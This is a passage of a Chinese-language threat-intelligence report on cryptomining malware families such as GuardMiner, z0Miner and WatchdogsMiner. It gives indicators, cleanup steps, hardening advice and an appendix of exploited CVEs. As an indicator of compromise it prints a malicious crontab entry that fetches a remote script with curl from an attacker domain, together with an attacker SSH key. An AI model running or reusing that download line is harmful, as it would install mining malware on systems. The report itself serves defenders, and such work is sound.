描述简介	NSABuffMiner 是腾讯安全御见威胁情报中心在 2018 年 9 月发现的一个挖矿木马家族，主要利用永恒之蓝漏洞 ms17-010 攻击传播,且 Payload 下载植入的安装木马常常伪装成某些主流软件程序,常用挖矿进程名为 rundllhost.exe, 因其主要 C2 域名中包含“buff”特征字符而命名。

5.7.2 自查方法

1. 检查是否存在服务名为：“MetPipAtcivator”、“SetPipAtcivator”
2. 检查是否存在可疑账户名“mm123$”
3. 并检查是否存在可疑的 rundllhost.exe 进程

5.7.3 如何清除

1. 删除检查到的可疑的服务名及账户名
2. 结束可疑的进程如运行路径为：%SystemRoot%fonts\rundllhost.exe 的进程

5.7.4 防护方法

1. 安装 Windows 系统补丁并保持自动更新
2. 如果不需要使用 Windows 局域网共享服务，可以通过设置防火墙规则来关闭 445 等端口

3. 安装奇安信天擎防护该类挖矿病毒的攻击

5.8 NSAGluptebaMiner

5.8.1 概述

挖矿攻击名称	**NSAGluptebaMiner**
涉及平台	Windows
相关恶意代码家族	Glupteba 木马
攻击入口	使用 EternalBlue、DoublePulsar 等漏洞进行攻击
相关漏洞及编号	MS17-010
描述简介	2018 年 6 月腾讯安全威胁情报中心发现 cloudnet.exe 开始作为挖矿僵尸网络 NSAGluptebaMiner 的组件传播，cloudnet.exe 原来是 Glupteba 恶意木马。其利用永恒之蓝漏洞进行传播,通过安装计划任务进行持久化,安装驱动对木马进行保护，利用组件 cloudnet.exe 构建僵尸网络，并通过比特币交易数据更新 C2 地址。

5.8.2 自查方法

1. 检查是否有名为 ScheduledUpdate 的可疑计划任务
2. 检查 C:\Windows\System32\drivers 目录下是否存在隐藏文件 Winmon.sys、WinmonFS.sys、WinmonProcessMonitor.sys 文件
3. 检查是否存在一个 wup.exe 的进程

5.8.3 如何清除

1. 删除可疑的计划任务和启动项
2. 结束进程中名为 Scheduled.exe、wup.exe 的进程
3. 删除 C:\Windows\System32\drivers 目录下的隐藏驱动文件 Winmon.sys、WinmonFS.sys、WinmonProcessMonitor.sys

5.8.4 防护方法

1. 如果不需要使用 Windows 局域网共享服务，可以通过设置防火墙规则来关闭

445 等端口

2. 安装 Windows 系统补丁并保持自动更新
3. 安装奇安信天擎防护该类挖矿病毒的攻击

5.9 BuleHero

5.9.1 概述

挖矿攻击名称	**BuleHero**
涉及平台	Windows 平台
相关恶意代码家族	未命名
攻击入口	通过扫描开放端口，利用漏洞和弱口令进行入侵
相关漏洞及编号	永恒之蓝、LNK 漏洞 CVE-2017-8464、Tomcat 任意文件上传漏洞 CVE-2017-12615、Apache Struts2 远程代码执行漏洞 CVE-2017-5638、Weblogic 反序列化任意代码执行漏洞 CVE-2018-2628，CVE-2019-2725、Drupal 远程代码执行漏洞 CVE-2018-7600、Apache Solr 远程代码执行漏洞 CVE-2019-0193、THinkphpV5 漏洞 CNDV-2018-24942、PHPStudy 后门利用等
描述简介	BlueHero 是一个善于学习和使用各类 Web 服务器组件漏洞进行攻击的家族，于 2018 年 8 月首次被披露。自披露以来，其版本不断的在更新迭代，其在 4.0 版本新加入的攻击方法就达到十个之多。

5.9.2 自查方法

1. 检查是否存在 C:\Windows\tqibchipg\目录，以及下述文件：

   C:\Windows\SysWOW64\rmnlik.exe

   C:\Windows\Temp\geazqmbhl\hvkeey.exe

2. 检查是否有名为 mekbctynn 的服务

5.9.3 如何清除

可以执行如下步骤进行清除：

1. 删除自查方法 1 中所列目录下的所有文件以及后述文件

2. 停止并删除 mekbctynn 服务

5.9.4 防护办法

1. 安装 Windows 系统补丁并保持自动更新，对于无需使用的服务不要随意开放，对于必须使用的服务，注意相关服务的弱口令问题；

2. 关注服务器运行状况，注意 CPU 占用率和进程列表和网络流量情况可以及时发现系统存在的异常。此外，注意系统账户情况，禁用不必要的账户。

3. Windows 下可以安装奇安信天擎防护该类挖矿病毒的攻击

5.10 GuardMiner

5.10.1 概述

挖矿攻击名称	**GuardMiner**
涉及平台	Windows，Linux
相关恶意代码家族	GuardMiner
攻击入口	利用多种远程执行漏洞和未授权访问漏洞
相关漏洞及编号	CCTV 设备 RCE 漏洞；Redis 未授权访问漏洞；Drupal 框架 CVE-2018-7600 漏洞；Hadoop 未授权访问漏洞；Spring RCE 漏洞 CVE-2018-1273；Thinkphp V5 高危漏洞；WebLogic RCE 漏洞 CVE-2017-10271；SQL Server 弱口令爆破；Elasticsearch RCE 漏洞 CVE-2015-1427、CVE-2014-3120
描述简介	GuardMiner 最早出现于 2019 年，至今已活跃超过 2 年，该挖矿木马通过

	Go 语言编写的二进制程序针对 Windows 平台和 Linux 平台进行攻击传播，通过 crontab 定时任务以及安装 SSH 公钥后门进行持久化控制，并且还会利用比特币的交易记录来动态更新 C2 地址

5.10.2 自查办法

1. 查看恶意文件和相关进程

```
/etc/phpguard

/etc/phpupdate

/etc/networkmanager
```

2. 查看定时任务(Crontab)

```
*/30 * * * * sh /etc/newdat.sh

*/2 * * * * curl -fsSL hxxp://h.epelcdn.com/dd210131/pm.sh
```

3. 查看恶意 SSH 公钥(/root/.ssh/authorized_keys)

```
AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RK

xPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9F

WDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6L

P2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22

L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc

1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl

2yXiHN5oD9BVTkdIWX  root@u17
```

5.10.3 如何清除和防护

1. 检查 tmp、etc 目录下是否具有以下文件，清除对应的进程并删除文件

/tmp/phpupdate
/tmp/networkmanager
/tmp/phpguard
/tmp/newdat.sh
/tmp/config.json
/etc/phpupdate
/etc/networkmanager
/etc/config.json
/etc/newdat.sh

2. 删除恶意定时任务

3. 删除 ssh 的 authorized_keys 中的恶意公钥

4. 恢复防火墙的默认配置

5. 检查是否存在上述漏洞的组件或服务，若存在则更新相关应用和组件到最新版本，若组件或服务未配置远程认证访问，则开启相应的认证配置

5.11 z0Miner

5.11.1 概述

挖矿攻击名称	z0Miner

涉及平台	Windows 和 Linux
相关恶意代码家族	z0Miner
攻击入口	利用多种远程执行漏洞和未授权访问漏洞
相关漏洞及编号	Weblogic 未授权命令执行漏洞（CVE-2020-14882/14883）；ElasticSearch RCE 漏洞 CVE-2015-1427；Jenkins script console RCE 漏洞；Nexus3 命令执行漏洞（CVE-2019-7238）；Confluence 远程代码执行漏洞（CVE-2019-3396，CVE-2021-26084）；Struts2 命令执行漏洞 （s2-016，s2-046）
描述简介	z0Miner 从 2020 年开始活跃，最初活跃时利用 Weblogic 未授权命令执行漏洞进行传播。该挖矿木马背后团伙通过批量扫描云服务器发现具有 Weblogic 漏洞的机器，发送精心构造的数据包进行攻击。之后执行远程命令下载 shell 脚本 z0.txt 运行，再利用该 shell 脚本植入门罗币挖矿木马、挖矿任务本地持久化，以及通过爆破 SSH 横向移动。根据该团伙控制的算力推算，当时有大约 5000 台服务器受害。2021 年 9 月，国外安全厂商趋势科技披露 z0Miner 借助 Confluence 漏洞在 Windows 上传播。

5.11.2 自查办法

1. 查看恶意文件和相关进程

```
/tmp/.solr/solrd

/tmp/.solr/config.json

/tmp/.solr/solr.sh
```

2. 查看包含来自 pastbin 的可疑恶意载荷的定时任务(Crontab)

5.11.3 如何清除和防护

1. 删除恶意文件，并清除相应进程

2. 删除恶意定时任务

3. 检查是否存在上述漏洞的组件或服务，若存在则更新相关应用和组件到最新版本，若组件或服务未配置远程认证访问，则开启相应的认证配置

5.12 SystemdMiner

5.12.1 概述

挖矿攻击名称	**SystemdMiner**
涉及平台	Linux
相关恶意代码家族	SystemdMiner
攻击入口	利用多种远程执行漏洞和未授权访问漏洞，SSH 爆破，SSH 免密登录利用
相关漏洞及编号	PostgreSQL 的未授权访问漏洞和提权代码执行漏洞（CVE-2019-9193）；Hadoop Yarn 未授权访问漏洞
描述简介	SystemdMiner 在 2019 年被首次发现，起初因其组件以 systemd-<XXX>命名而得名，但后来它们渐渐开始弃用 systemd 的命名形式，改为以随机字符串命名。SystemdMiner 在最初出现时通过入侵 DDG 挖矿病毒僵尸网络进行快速扩张。特点是本身的 C&C 设置在暗网中，通过暗网代理服务进行通信。

5.12.2 自查办法

1. 查看定时任务

存在运行 systemd-login 的定时任务，后期版本创建的定时任务为随机名，定时任务脚本中除了以拼接的形式直接组成访问的恶意域名外，还会使用了 socket5

的方式用 relay.tor2socks.in 代理访问 C&C 域名

2. 定时访问带有 tor2web、onion 字符串的域名或者 relay.tor2socks.in

3. 在/tmp 目录下出现 systemd*的文件（后期版本为随机名）

5.12.3 如何清除和防护

1. 删除恶意定时任务

2. 清除随机名的挖矿进程，清除残留的 systemd-login 和*.sh 病毒脚本

3. 检查是否存在上述漏洞的组件或服务，若存在则更新相关应用和组件到最新版本，若组件或服务未配置远程认证访问，则开启相应的认证配置

5.13 WatchdogsMiner

5.13.1 概述

挖矿攻击名称	**WatchdogsMiner**
涉及平台	Windows 和 Linux
相关恶意代码家族	WatchdogsMiner
攻击入口	利用未授权访问漏洞，SSH 爆破
相关漏洞及编号	Redis 未授权访问漏洞
描述简介	WatchdogsMiner 于 2019 年被发现，由于其会在/tmp/目录下释放一个叫 watchdogs 的母体文件而得名。WatchdogsMiner 的初始版本会将恶意代码托管在 pastebin.com 上以绕过检测，不过后续版本已弃用，改为自己的 C&C 服务器*.systemten.org。该病毒的特点是样本由 go 语言编译，并使用了伪装的 hippies/LSD 包（github_com_hippies_LSD_*）

5.13.2 自查办法

1. 查看定时任务

存在执行 pastebin.com 网站上恶意代码的定时任务

2. 查看文件

/tmp/目录下存在一个名为 watchdogs 的文件

3. 访问*.systemten.org 域名

5.13.3 如何清除和防护

1. 删除恶意动态链接库 /usr/local/lib/libioset.so

2. 删除恶意定时任务

3. 清除挖矿进程

4. 检查是否存在上述漏洞的组件或服务，若存在则更新相关应用和组件到最新版本，若组件或服务未配置远程认证访问，则开启相应的认证配置

5.14 PhotoMiner

5.14.1 概述

挖矿攻击名称	**PhotoMiner 挖矿**
涉及平台	Windows
相关恶意代码家族	未命名
攻击入口	爆破 FTP 和 SMB 的弱口令
相关漏洞及编号	无
描述简介	PhotoMiner 是一个活跃已久的挖矿病毒家族，主要通过感染后爆破 FTP 和 SMB 的弱口令进行传播。

5.14.2 自查办法

1. 检查有无 Photo.scr 进程运行。
2. 检查每个磁盘根目录下有无 Photo.scr
3. 检查注册表 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 下有无 Photo.scr 相关的自启动

5.14.3 如何清除和防护

1. 终止挖矿进程，删除 Photo.scr
2. 删除上述自启动项

5.15 DDG Mining Botnet

5.15.1 概述

挖矿攻击名称	**PhotoMiner 挖矿**
涉及平台	Linux
相关恶意代码家族	未命名
攻击入口	OrientDB 漏洞
相关漏洞及编号	CVE-2017-11467 OrientDB 远程代码执行漏洞
描述简介	DDG 主要扫描互联网上的 OrientDB 数据库服务器并进行攻击。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币

5.15.2 自查办法

1. Crontab 中有异常项目
2. 有名为 wnTKYg 的进程运行

5.15.3 如何清除和防护

1. 移除 Crontab 中的可疑项目
2. 结束有关进程
3. 即时更新相关安全补丁

5.16 H2Miner

5.16.1 概述

挖矿攻击名称	**H2Miner 挖矿团伙**
涉及平台	Linux
相关恶意代码家族	未命名
攻击入口	利用多种远程执行漏洞
相关漏洞及编号	XXL-JOB 未授权命令执行漏洞，PHPUnit 远程代码执行漏洞（CVE-2017-9841），Supervisord 远程命令执行漏洞（CVE-2017-11610），ThinkPHP 5.X 远程命令执行漏洞，SaltStack 远程命令执行漏洞（CVE-2020-11651 CVE-2020-11652）
描述简介	H2Miner 是一个 linux 下的挖矿僵尸网络，并且利用多种漏洞进行传播

5.16.2 自查办法

由于该挖矿家族变种较多，感染路径复杂，暂无比较通用的检查方案

1. 检查有无高 CPU 占用异常程序
2. 检查有无异常 corntab 项目
3. 检查/etc/ld.so.preload 内有无恶意预加载项

5.16.3 如何清除和防护

1. 清除有关的恶意进程和启动项
2. 及时为相关服务和依赖升级或安装安全补丁

5.17 PowerGhost

5.17.1 概述

挖矿攻击名称	**PowerGhost**
涉及平台	Windows、Linux

相关恶意代码家族	未命名
攻击入口	永恒之蓝、MSSQL 爆破、SSH 爆破、wmi 以及 smb 爆破远程命令执行
相关漏洞及编号	永恒之蓝漏洞（MS17-010）、脏牛漏洞(CVE-2016－5195) 、MS16-032、 MS15-051、CVE-2018-8120
描述简介	PowerGhost 恶意软件是一个 powershell 脚本，其中的主要的核心组件有：挖矿程序、minikatz 工具，反射 PE 注入模块、主要利用永恒之蓝的漏洞的 shellcode 以及 MS16-032，MS15-051 和 CVE-2018-8120 漏洞提权 payload。主要针对企业用户，在大型企业内网进行传播，并且挖矿采用无文件的方式进行，因此杀软很难查杀到挖矿程序

5.17.2 自查办法

1. 检查是否有文件名为 java-log-9527.log，cohernece.txt 的文件
2. 检查是否存在 antitrojan.ps,antivirus.ps1 等可疑文件。

5.17.3 如何清除

1. 终止可疑文件的相关进程
2. 彻底删除进程对应的文件

5.17.4 防护方法

1、打上永恒之蓝补丁；

2、关闭 135，139，445 等端口，如果没有业务必要，建议封堵；

3、不要使用域管账号随意登录域内机器，域内机器密码应互不相同；

4、使用高强度密码，禁止弱口令；

5、修补 CVE-2016-5195 漏洞

5.18 NSAFtpMiner

5.18.1 概述

挖矿攻击名称	**NSAFtpMiner**
涉及平台	Windows
相关恶意代码家族	未命名
攻击入口	利用密码字典爆破 1433 端口登录，以及 Eternalblue 等漏洞攻击工具来进行内网攻击。
相关漏洞及编号	永恒之蓝(MS17-010)
描述简介	NSAFtpMiner 是腾讯安全御见威胁情报中心在 2018 年 9 月发现的一个挖矿木马家族，主要利用密码字典爆破 1433 端口登录以及永恒之蓝漏洞攻击传播，攻击主进程伪装成“Ftp 系统核心服务”，还会利用 FTP 功能进行内网文件更新。其攻击内网机器后，植入远程控制木马，并继续从 C2 地址下载挖矿和攻击模块，进行内网扩散感染。

5.18.2 自查方法

1. 检查是否存在服务名为：“Server Remote”。
2. 检查是否存在以下文件：

C:\Program Files\Windowsd\Fileftp.exe

C:\Program Files\Windowsd\Pkil.dll

C:\Windows\runsum.exe

C:\Windows\Fonts\sysIntl\help.dll

C:\Windows\Help\win1ogins.exe

C:\Windows\PLA\system\win1ogins.exe

C:\Windows\Fonts\system(x64)\win1ogins.exe

C:\Windows\Fonts\system(x86)\win1ogins.exe

C:\Windwos\dell\win1ogins.exe

5.18.3 如何清除

1. 删除检查到的可疑的服务
2. 终止可疑的进程以及文件如 C:\Program Files\Windowsd\Fileftp.exe

5.18.4 防护方法

1. 安装 Windows 系统补丁并保持自动更新
2. 服务器使用安全的密码策略，使用高强度密码，切勿使用弱口令，防止黑客暴力破解
3. 安装奇安信天擎防护该类挖矿病毒的攻击

5.19 ZombieboyMiner

5.19.1 概述

挖矿攻击名称	**ZombieboyMiner**
涉及平台	Windows
相关恶意代码家族	未命名
攻击入口	使用 EternalBlue、DoublePulsar 等漏洞进行攻击
相关漏洞及编号	永恒之蓝（MS17-010）
描述简介	腾讯御见威胁情报中心在对黑客于 2018.08.14 注册并使用的 C2 域名 fq520000.com 及其样本进行分析，然后通过对比 Zombieboy 木马在几轮攻击中的攻击手法、恶意代码特征、C2 域名及 IP、端口特征的一致性，推测得出攻击来源属于同一团伙，并将其命名为 ZombieboyMiner。

5.19.2 自查方法

1. 检查是否有名 dazsksgmeakjwxo 的可疑服务
2. 检查 C:\Windows\System32\目录下是否存在隐藏文件 seser.exe
3. 检查是否存在 sys.exe，CPUInfo.exe，84.exe 等可疑进程

5.19.3 如何清除

1. 中止可疑的服务和进程如 dazsksgmeakjwxo 服务
2. 删除可疑的文件以及自启动项如 C:\Windows\System32\seser.exe,sys.exe

5.19.4 防护方法

1. 服务器关闭不必要的端口，例如 139、445 端口
2. 安装永恒之蓝漏洞补丁。
3. 安装奇安信天擎防护该类挖矿病毒的攻击

5.20 驱动人生挖矿团伙

5.19.1 概述

挖矿攻击名称	**驱动人生挖矿团伙**
涉及平台	Windows、Linux
相关恶意代码家族	未命名
攻击入口	利用永恒之蓝漏洞、SMBGhost 漏洞等多种高危漏洞,对 MSSQL,SSH 暴力破解
相关漏洞及编号	永恒之蓝（MS17-010），SMBGhost(CVE-2020-0796)
描述简介	“驱动人生”病毒自 2018 年出现，至今出现多个变种，不断进行技术优化以躲避安全软件的查杀监测，该病毒利用永恒之蓝漏洞、SMBGhost 漏洞等多种高危漏洞对 Windows、Linux 下的主机进行入侵感染，在入侵成功之后不仅会

	下载挖矿文件进行挖矿，还会释放传播模块继续入侵感染其他终端，并且病毒所使用的 Powershell 脚本经过多层混淆用以逃避安全软件的查杀.

5.20.2 自查方法

1. C:\Windows\System32\Windowspowershell\V1.0\powershell.exe 被重命名为随机字符的 exe
2. 检查是否有/.Xl1/xr 的文件
3. /etc/crontab 文件中是否有 a.asp 的计划任务

5.20.3 如何清除

可以执行如下步骤进行清除：

1. 终止进程并删除/.Xl1/xr 文件
2. 删除计划任务以及对应文件

5.20.4 防护办法

1. 安装 Windows 系统漏洞补丁并保持自动更新，针对使用 445 端口的业务，进行权限限制

2. 采用高强度的密码，避免使用弱口令密码，并定期更换密码

3. 如不使用，禁用 PowerShell

4. Windows 下可以安装奇安信天擎防护该类挖矿病毒的攻击

6 总结

由于获益的直接性，恶意挖矿攻击已经成为当前最为泛滥的一类网络威胁，对其有一个全面的了解，是防范此类攻击的一种战术级威胁情报的掌握。企业和机构在威胁情报的支持下采取相应的防护措施，比如通过安全防护设备和服务来更自动化更及时地发现、检测和响应恶意挖矿攻击，奇安信天擎等终端工具可以有效地发现和阻断包括挖矿在内各类威胁。

7 附录

7.1 附录一 恶意挖矿常见攻击入口列表

漏洞名称	相关 CVE 编号	涉及平台或组件	详细信息	相关参考链接
永恒之蓝系列漏洞	CVE-2017-0143 CVE-2017-0144 CVE-2017-0145 CVE-2017-0146 CVE-2017-0148	Microsoft Windows Vista SP2 Windows Server 2008 SP2、R2 SP1 Windows 7 SP1 Windows 8.1 Windows Server 2012 Gold 和 R2 Windows RT 8.1 Windows 10 Gold，1511、1607 Windows Server 2016	Microsoft Windows 中的 SMBv1 服务器存在远程代码执行漏洞，远程攻击者可借助特制的数据包利用该漏洞执行任意代码。	https://www.anquanke.com/post/id/86270 https://www.freebuf.com/vuls/134508.html
WebLogic XMLDecoder 反序列化漏	CVE-2017-3506 CVE-2017-10271	Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0	Oracle Fusion Middleware 中的 Oracle WebLogic Server 组件的 WLS Security 子组	https://www.anquanke.com/post/id/102768

洞		Oracle WebLogic Server 12.2.1.1.0	件存在安全漏洞。使用精心构造的 xml 数据可能造成任意代码执行，攻击者只需要发送精心构造的 xml 恶意数据，就可以拿到目标服务器的权限。	https://www.anquanke.com/post/id/92003
Redis 未授权访问漏洞		影响所有未开启认证的 redis 服务器	Redis 默认情况下，会绑定在 0.0.0.0:6379，在没有利用防火墙进行屏蔽的情况下，将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下利用 Redis 的相关方法，可以成功将自己的公钥写入目标服务器的 ~/.ssh 文件夹的 authotrized	https://www.anquanke.com/post/id/146417

			_keys 文件中，进而可以直接登录目标服务器；如果 Redis 服务是以 root 权限启动，可以利用该问题直接获得服务器 root 权限	
JBosss 反序列化漏洞	CVE-2017-12149	JBOSS Application Server 5.X JBOSS Application Server 6.X	该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致攻击者可以通过精心设计的序列化数据来执行任意代码。JBOSS SAS 6.x 也受该漏洞影响，攻击者利用该漏洞无需用户验证在系统上执行任意命令，获得服务器的控制权。	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12149

Hadoop Yarn 未授权访问漏洞		影响 Apache Hadoop YARN 资源管理系统对外开启的以下服务端口: yarn.resourcemanager.webapp.address，默认端口 8088 yarn.resourcemanager.webapp.https.address，默认端口 8090	Hadoop Yarn 未授权访问漏洞主要因 Hadoop YARN 资源管理系统配置不当，导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过 REST API 部署任务来执行任意指令，最终完全控制服务器。	https://www.anquanke.com/post/id/107473
MikroTik 路由器漏洞	CVE-2018-14847	影响从 6.29 到 6.42 的所有版本的 RouterOS	该漏洞允许攻击者在未经授权的情况下，无需用户交互，可访问路由器上的任意文件。同时启动 web 代理，将请求重定向到 error.html，并在该页面内嵌恶意挖矿 JS 脚本	https://www.anquanke.com/post/id/161704
Drupal 核心远程代码执行漏洞	CVE-2018-7602	Drupal 7.x Drupal 8.x	Drupal 的远程任意代码执行漏洞是由于 Drupal 对表单的渲染引起的。为了能够在表	https://www.anquanke.com/post/id/106669

			单渲染对过程中动态修改数据，Drupal 引入了“Drupal Render API”机制，“Drupal Render API”对于#会进行特殊处理，其中#pre_render 在 render 之前操作数组，#post_render 接收 render 的结果并在其添加包装，#lazy_builder 用于在 render 过程的最后添加元素。由于对于部分#属性数组值，Drupal 会通过 call_user_func 的方式进行处理，导致任意代码执行。	
LNK 代码执行漏洞	CVE–2017–8464	Microsoft Windows 10 3 Microsoft Windows 7 1 Microsoft Windows 8 1 Microsoft Windows 8.1 2	成功利用 CVE－2017－8464 漏洞会获得与本地用户相同的用户权限，攻击者可以通过任意可移动驱动器(如 U 盘)或者远程共享的方式传播攻击，该漏洞又被称为“震	https://www.anquanke.com/post/id/100795

		Microsoft Windows Server 2008 2 Microsoft Windows Server 2012 2 Microsoft Windows Server 2016	网三代”漏洞	
远程桌面协议远程代码执行漏洞	CVE-2017-0176	Microsoft Windows XP Tablet PC Edition SP3 Microsoft Windows XP Tablet PC Edition SP2 Microsoft Windows XP Tablet PC Edition SP1 Microsoft Windows XP Professional SP3 Microsoft Windows XP Professional SP2 Microsoft Windows XP Professional SP1 Microsoft Windows XP Media Center Editi	如果 RDP 服务器启用了智能卡认证，则远程桌面协议（RDP）中存在远程执行代码漏洞 CVE-2017-0176，成功利用此漏洞的攻击者可以在目标系统上执行代码。攻击者可以安装程序; 查看，更改或删除数据或创建具有完全用户权限的新帐户	http://www.cnvd.org.cn/webinfo/show/4166 https://www.securityfocus.com/bid/98752

		on SP3 Microsoft Windows XP Media Center Editi on SP2 Microsoft Windows XP Media Center Editi on SP1 Microsoft Windows XP Home SP3 Microsoft Windows XP Home SP2 Microsoft Windows XP Home SP1 Microsoft Windows XP Embedded SP3 Microsoft Windows XP Embedded SP2 Microsoft Windows XP Embedded SP1 Microsoft Windows XP 0 Microsoft Windows Server 2003 SP2		

		Microsoft Windows Server 2003 SP1 Microsoft Windows Server 2003 0		
CouchDB 漏洞	CVE–2017–12635 CVE–2017–12636	CouchDB 1.x CouchDB 2.x	CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同，导致语句执行产生差异性导致的。可以被利用于，非管理员用户赋予自身管理员身份权限。 CVE-2017-12636 时由于数据库自身设计原因，管理员身份可以通过 HTTP（S）方式，配置数据库。在某些配置中，可设置可执行文件的路径，在数据库运行范围内执行。结合 CVE-2017-12635 可实现远程代码执行。	https://www.anquanke.com/post/id/87256
apache Struts 2 J	CVE-2017-5638	Struts 2.3.5- Struts 2.3.31	基于 Jakarta Multipart parser 的文件上传	https://www.anquanke.com/post/

akarta Multipart Parser 远程代码执行（RCE）漏洞		Struts 2.5- Struts 2.5.10	模块在处理文件上传(multipart)的请求时候对异常信息做了捕获，并对异常信息做了OGNL 表达式处理。但在在判断 content-type 不正确的时候会抛出异常并且带上 Content-Type 属性值，可通过精心构造附带 OGNL 表达式的 URL 导致远程代码执行	id/85643
WebLogic 组件远程命令执行漏洞	CVE-2017-3248、CVE-2017-10271	Oracle Weblogic Server 10.3.6.0 Oracle Weblogic Server 12.1.3.0 Oracle Weblogic Server 12.2.1.0 Oracle Weblogic Server 12.2.1.1	Oracle WebLogic Server 组件中存在漏洞。受影响的支持版本为 10.3.6.0、12.1.3.0、12.2.1.0 和 12.2.1.1。容易被利用的漏洞允许未认证的攻击者通过 T3 的网络访问控制 Oracle WebLogic 服务器。	https://ti.qianxin.com/advisory/articles/advisory-of-cve-2017-3248-and-cve-2017-10271/
Weblogic 反序列化漏洞分析	CVE-2018-2628	Weblogic 10.3.6.0 Weblogic 12.1.3.0	受影响的 WebLogic 的 WLS 核心组件存在严重的安全漏洞，通过 T3 协议可以在前	https://xz.aliyun.com/t/8073

		Weblogic 12.2.1.2 Weblogic 12.2.1.3	台无需账户登录的情况下进行远程任意代码执	
Spring Data Commons 远程代码执行漏洞	CVE-2018-1273	Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10) Spring Data REST 2.6 – 2.6.10(Ingalls SR10) Spring Data Commons 2.0 – 2.0.5 (Kay SR5) Spring Data REST 3.0 – 3.0.5(Kay SR5)	攻击者可构造包含有恶意代码的 SPEL 表达式实现远程代码攻击，直接获取服务器控制权限。	http://blog.nsfocus.net/cve-2018-1273/
Tomcat 信息泄漏和远程代码执行漏洞	CVE-2017-12615	Apache Tomcat 7.0.0 - 7.0.79	攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获	https://paper.seebug.org/399/

			取服务器权限。	
RDP 远程代码执行漏洞	CVE-2019-0708	Windows XP Windows Server 2003 Windows 7 Windows Server 2008	该漏洞是由于“MS_T120”SVC 名称在 RDP 协议的 GCC 初始化期间被绑定为数字 31 的参考信道。 此通道名称在 Microsoft 内部使用，并且客户端没有合法用例来请求名为“MS_T120”的 SVC 连接.成功利用此漏洞的攻击者可远程执行代码部署恶意程序。	https://xz.aliyun.com/t/5243
Win32K 特权提升漏洞	CVE-2019-0803	Microsoft Windows Server 2019 0 Microsoft Windows Server 2016 0 Microsoft Windows Server 2012 R2 0 Microsoft Windows Server 2012 0	当 Win32k 组件无法正确处理内存中的对象时，Windows 中存在特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式中运行任意代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0803

		Microsoft Windows Server 2008 R2 for x64-based Systems SP1 Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 Microsoft Windows Server 2008 for x64-based Systems SP2 Microsoft Windows Server 2008 for Itanium-based Systems SP2 Microsoft Windows Server 2008 for 32-bit Systems SP2 Microsoft Windows Server 1803 0 Microsoft Windows Server 1709 0 Microsoft Windows RT 8.1	全用户权限的新帐户。	

		Microsoft Windows 8.1 for x64-based Systems 0 Microsoft Windows 8.1 for 32-bit Systems 0 Microsoft Windows 7 for x64-based Systems SP1 Microsoft Windows 7 for 32-bit Systems SP1 Microsoft Windows 10 Version 1809 for x64-based Systems 0 Microsoft Windows 10 Version 1809 for ARM64-based Systems 0 Microsoft Windows 10 Version 1809 for 3		

		2-bit Systems 0 Microsoft Windows 10 Version 1803 for x 64-based Systems 0 Microsoft Windows 10 Version 1803 for ARM64-based Systems 0 Microsoft Windows 10 Version 1803 for 32-bit Systems 0 Microsoft Windows 10 version 1709 for x 64-based Systems 0 Microsoft Windows 10 Version 1709 for ARM64-based Systems 0 Microsoft Windows 10 version 1709 for 32-bit Systems 0		

		Microsoft Windows 10 version 1703 for x 64-based Systems 0 Microsoft Windows 10 version 1703 for 3 2-bit Systems 0 Microsoft Windows 10 Version 1607 for x 64-based Systems 0 Microsoft Windows 10 Version 1607 for 3 2-bit Systems 0 Microsoft Windows 10 for x64-based Systems 0 Microsoft Windows 10 for 32-bit Systems 0		

WebLogic 反序列化远程执行漏洞	CVE-2019-2725	WebLogic 10.x WebLogic 12.1.3	CVE-2019-2725 是一个 Oracle WebLogic 反序列化远程命令执行漏洞，这个漏洞依旧是根据 WebLogic 的 xmldecoder 反序列化漏洞，通过针对 Oracle 官网历年来的补丁构造 payload 来绕过。	https://www.cnblogs.com/twlr/p/13027190.html
Apache Solr 远程命令执行漏洞	CVE-2019-0193	Apache Solr < 8.2.0	Apache Solr 如果启用了 DataImportHandler 模块，因为它支持使用 web 请求来指定配置信息"DIH 配置" ，攻击者可构造 HTTP 请求指定 dataConfig 参数的值 dataConfig 内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。	https://xz.aliyun.com/t/5965
Confluence 远程代码执行漏洞	CVE-2019-3396	widgetconnector.jar <=3.1.3	Confluence Server 和 Confluence Data Center 的 widgetconnector 组件存在严重的安全	https://paper.seebug.org/884/

			漏洞，可以在不需要账号登陆的情况下进行未授权访问，构造恶意的 JSON 字符串发送给 widgetconnector 组件处理，可以实现任意文件读取、Velocity-SSTI 远程执行任意命令.	
Apache Struts2 远程代码执行漏洞	CVE-2017-5638	Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10	Apache Struts 2 中的 Jakarta Multipart 解析器在文件上传尝试期间具有不正确的异常处理和错误消息生成，这允许远程攻击者通过精心制作的内容执行任意命令。	https://s.tencent.com/research/report/978 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
